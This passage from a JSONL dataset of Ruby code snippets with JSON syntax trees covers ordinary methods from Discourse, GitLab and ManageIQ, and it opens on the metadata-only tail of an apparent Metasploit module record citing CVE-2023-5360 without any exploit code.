Lobstein\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-5360\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://vulners.com/nuclei/NUCLEI:CVE-2023-5360\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"281518ff-7816-4007-b712-63aed7828b34\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-11-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]}]}","id":"e55d2fd0-9f15-4651-920d-2a09fd5b1c67"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/parser/test_test.rb","start_line":39,"raw_source":"def test_parse_single_test_with_options\n    input = [ { \"given\" => { \"date\" => \"2016-01-01\", \"regions\" => ['us'], \"options\" => ['option1']}, \"expect\" => { \"name\" => \"Test Holiday\" } } ]\n    @validator.expects(:valid?).with({:dates => [\"2016-01-01\"], :regions=> ['us'], :name => \"Test Holiday\", :options => ['option1'], :holiday => nil}).returns(true)\n\n    result = @parser.call(input)\n\n    assert_equal(1, result.size)\n\n    test = result.first\n    assert(test)\n\n    assert(test.is_a?(Holidays::Definition::Entity::Test))\n    assert_equal([DateTime.parse('2016-01-01')], test.dates)\n    assert_equal([:us], test.regions)\n    assert_equal([:option1], test.options)\n    assert_equal(\"Test Holiday\", test.name)\n    assert(test.holiday?)\n  end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_single_test_with_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"given\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"option1\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test Holiday\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validator\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dates\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test Holiday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"option1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"holiday\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"Test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"dates\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"regions\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"option1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Test Holiday\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"holiday?\"]}]}]}]}","id":"059ddcf6-240a-4d95-b432-680c31169e2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_suite_summary.rb","start_line":34,"raw_source":"def skipped_count\n          @skipped_count ||= @build_report_results.sum(&:tests_skipped)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skipped_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skipped_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@build_report_results\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tests_skipped\"]}]}]}]}]}","id":"f451e1bd-37d8-4b95-bdf8-77bc79d0420e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/jobs/scheduled/chat/delete_old_messages.rb","start_line":37,"raw_source":"def valid_day_value?(setting_name)\n        (::SiteSetting.public_send(setting_name) || 0).positive?\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_day_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SiteSetting\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"positive?\"]}]}","id":"119bf6a5-7c13-4803-9501-73541c5ce0fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":658,"raw_source":"def ems_workers\n    MiqWorker.find_alive.where(:queue_name => queue_name)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ems_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]},\"find_alive\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[null,\"queue_name\"]}]}]}]}]}","id":"46d8981d-b7c8-46d1-adb6-3369450ad93a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/environment_management.rb","start_line":5,"raw_source":"def get_network_information\n      require \"uuidtools\"\n\n      ipaddr = hostname = mac_address = nil\n\n      begin\n        ipaddr      = MiqEnvironment.local_ip_address\n        hostname    = MiqEnvironment.fully_qualified_domain_name\n        mac_address = UUIDTools::UUID.mac_address.dup\n      rescue => err\n        _log.warn(\"Failed to get network information: #{err}\")\n        _log.log_backtrace(err)\n      end\n\n      [ipaddr, hostname, mac_address]\n    end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_network_information\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"uuidtools\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ipaddr\",{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"lvasgn\",\"children\":[\"mac_address\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ipaddr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"local_ip_address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"fully_qualified_domain_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mac_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUIDTools\"]},\"UUID\"]},\"mac_address\"]},\"dup\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to get network information: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"log_backtrace\",{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},null]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipaddr\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"mac_address\"]}]}]}]}","id":"a3e5e183-3901-40d8-816f-c2c0d90ad6aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":959,"raw_source":"def notify_post_users(\n    post,\n    notified,\n    group_ids: nil,\n    include_topic_watchers: true,\n    include_category_watchers: true,\n    include_tag_watchers: true,\n    new_record: false,\n    notification_type: nil\n  )\n    return [] unless post.topic\n\n    warn_if_not_sidekiq\n\n    condition = +<<~SQL\n      users.id IN (\n        SELECT id FROM users WHERE false\n        /*topic*/\n        /*category*/\n        /*tags*/\n      )\n    SQL\n    condition.sub! \"/*topic*/\", <<~SQL if include_topic_watchers\n        UNION\n        SELECT user_id\n          FROM topic_users\n         WHERE notification_level = :watching\n           AND topic_id = :topic_id\n      SQL\n\n    condition.sub! \"/*category*/\", <<~SQL if include_category_watchers\n        UNION\n\n        SELECT cu.user_id\n          FROM category_users cu\n     LEFT JOIN topic_users tu ON tu.user_id = cu.user_id\n                             AND tu.topic_id = :topic_id\n         WHERE cu.notification_level = :watching\n           AND cu.category_id = :category_id\n           AND (tu.user_id IS NULL OR tu.notification_level = :watching)\n      SQL\n\n    tag_ids = post.topic.topic_tags.pluck(\"topic_tags.tag_id\")\n\n    condition.sub! \"/*tags*/\", <<~SQL if include_tag_watchers && tag_ids.present?\n        UNION\n\n        SELECT tag_users.user_id\n          FROM tag_users\n     LEFT JOIN topic_users tu ON tu.user_id = tag_users.user_id\n                             AND tu.topic_id = :topic_id\n     LEFT JOIN tag_group_memberships tgm ON tag_users.tag_id = tgm.tag_id\n     LEFT JOIN tag_group_permissions tgp ON tgm.tag_group_id = tgp.tag_group_id\n     LEFT JOIN group_users gu ON gu.user_id = tag_users.user_id\n         WHERE (\n            tgp.group_id IS NULL OR\n            tgp.group_id = gu.group_id OR\n            tgp.group_id = :everyone_group_id OR\n            gu.group_id = :staff_group_id\n          )\n               AND (tag_users.notification_level = :watching\n                    AND tag_users.tag_id IN (:tag_ids)\n                    AND (tu.user_id IS NULL OR tu.notification_level = :watching))\n      SQL\n\n    notify =\n      User.where(\n        condition,\n        watching: TopicUser.notification_levels[:watching],\n        topic_id: post.topic_id,\n        category_id: post.topic.category_id,\n        tag_ids: tag_ids,\n        staff_group_id: Group::AUTO_GROUPS[:staff],\n        everyone_group_id: Group::AUTO_GROUPS[:everyone],\n      )\n\n    if group_ids.present?\n      notify = notify.joins(:group_users).where(\"group_users.group_id IN (?)\", group_ids)\n    end\n\n    notify = notify.where(staged: false).staff if post.topic.private_message?\n\n    exclude_user_ids = notified.map(&:id)\n    notify = notify.where.not(id: exclude_user_ids) if exclude_user_ids.present?\n\n    DiscourseEvent.trigger(:before_create_notifications_for_users, notify, post)\n\n    already_seen_user_ids =\n      Set.new(\n        TopicUser\n          .where(topic_id: post.topic.id)\n          .where(\"last_read_post_number >= ?\", post.post_number)\n          .pluck(:user_id),\n      )\n\n    each_user_in_batches(notify) do |user|\n      calculated_type =\n        if !new_record && already_seen_user_ids.include?(user.id)\n          Notification.types[:edited]\n        elsif notification_type\n          Notification.types[notification_type]\n        else\n          Notification.types[:posted]\n        end\n      opts = {}\n      opts[:display_username] = post.last_editor.username if calculated_type ==\n        Notification.types[:edited]\n      create_notification(user, calculated_type, post, opts)\n    end\n\n    notify\n  end","complexity_score":94.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_post_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"notified\"]},{\"type\":\"kwoptarg\",\"children\":[\"group_ids\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_topic_watchers\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_category_watchers\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_tag_watchers\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"new_record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"notification_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"warn_if_not_sidekiq\"]},{\"type\":\"lvasgn\",\"children\":[\"condition\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT id FROM users WHERE false\\n\"]},{\"type\":\"str\",\"children\":[\"  /*topic*/\\n\"]},{\"type\":\"str\",\"children\":[\"  /*category*/\\n\"]},{\"type\":\"str\",\"children\":[\"  /*tags*/\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_topic_watchers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"sub!\",{\"type\":\"str\",\"children\":[\"/*topic*/\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UNION\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM topic_users\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE notification_level = :watching\\n\"]},{\"type\":\"str\",\"children\":[\"   AND topic_id = :topic_id\\n\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_category_watchers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"sub!\",{\"type\":\"str\",\"children\":[\"/*category*/\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"   UNION\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"   SELECT cu.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"     FROM category_users cu\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users tu ON tu.user_id = cu.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                        AND tu.topic_id = :topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE cu.notification_level = :watching\\n\"]},{\"type\":\"str\",\"children\":[\"      AND cu.category_id = :category_id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND (tu.user_id IS NULL OR tu.notification_level = :watching)\\n\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tag_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"topic_tags\"]},\"pluck\",{\"type\":\"str\",\"children\":[\"topic_tags.tag_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_tag_watchers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ids\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"sub!\",{\"type\":\"str\",\"children\":[\"/*tags*/\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"   UNION\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"   SELECT tag_users.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"     FROM tag_users\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users tu ON tu.user_id = tag_users.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"                        AND tu.topic_id = :topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN tag_group_memberships tgm ON tag_users.tag_id = tgm.tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN tag_group_permissions tgp ON tgm.tag_group_id = tgp.tag_group_id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN group_users gu ON gu.user_id = tag_users.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE (\\n\"]},{\"type\":\"str\",\"children\":[\"       tgp.group_id IS NULL OR\\n\"]},{\"type\":\"str\",\"children\":[\"       tgp.group_id = gu.group_id OR\\n\"]},{\"type\":\"str\",\"children\":[\"       tgp.group_id = :everyone_group_id OR\\n\"]},{\"type\":\"str\",\"children\":[\"       gu.group_id = :staff_group_id\\n\"]},{\"type\":\"str\",\"children\":[\"     )\\n\"]},{\"type\":\"str\",\"children\":[\"          AND (tag_users.notification_level = :watching\\n\"]},{\"type\":\"str\",\"children\":[\"               AND tag_users.tag_id IN (:tag_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"               AND (tu.user_id IS NULL OR tu.notification_level = :watching))\\n\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"notify\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"condition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"watching\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"watching\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_ids\"]},{\"type\":\"lvar\",\"children\":[\"tag_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"staff_group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"staff\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"everyone_group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_ids\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"notify\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notify\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"group_users\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"group_users.group_id IN (?)\"]},{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"private_message?\"]},{\"type\":\"lvasgn\",\"children\":[\"notify\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notify\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"staged\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"staff\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exclude_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notified\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude_user_ids\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"notify\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notify\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"exclude_user_ids\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"before_create_notifications_for_users\"]},{\"type\":\"lvar\",\"children\":[\"notify\"]},{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"lvasgn\",\"children\":[\"already_seen_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"id\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"last_read_post_number >= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_in_batches\",{\"type\":\"lvar\",\"children\":[\"notify\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calculated_type\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_record\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_seen_user_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"edited\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"notification_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"posted\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calculated_type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"edited\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o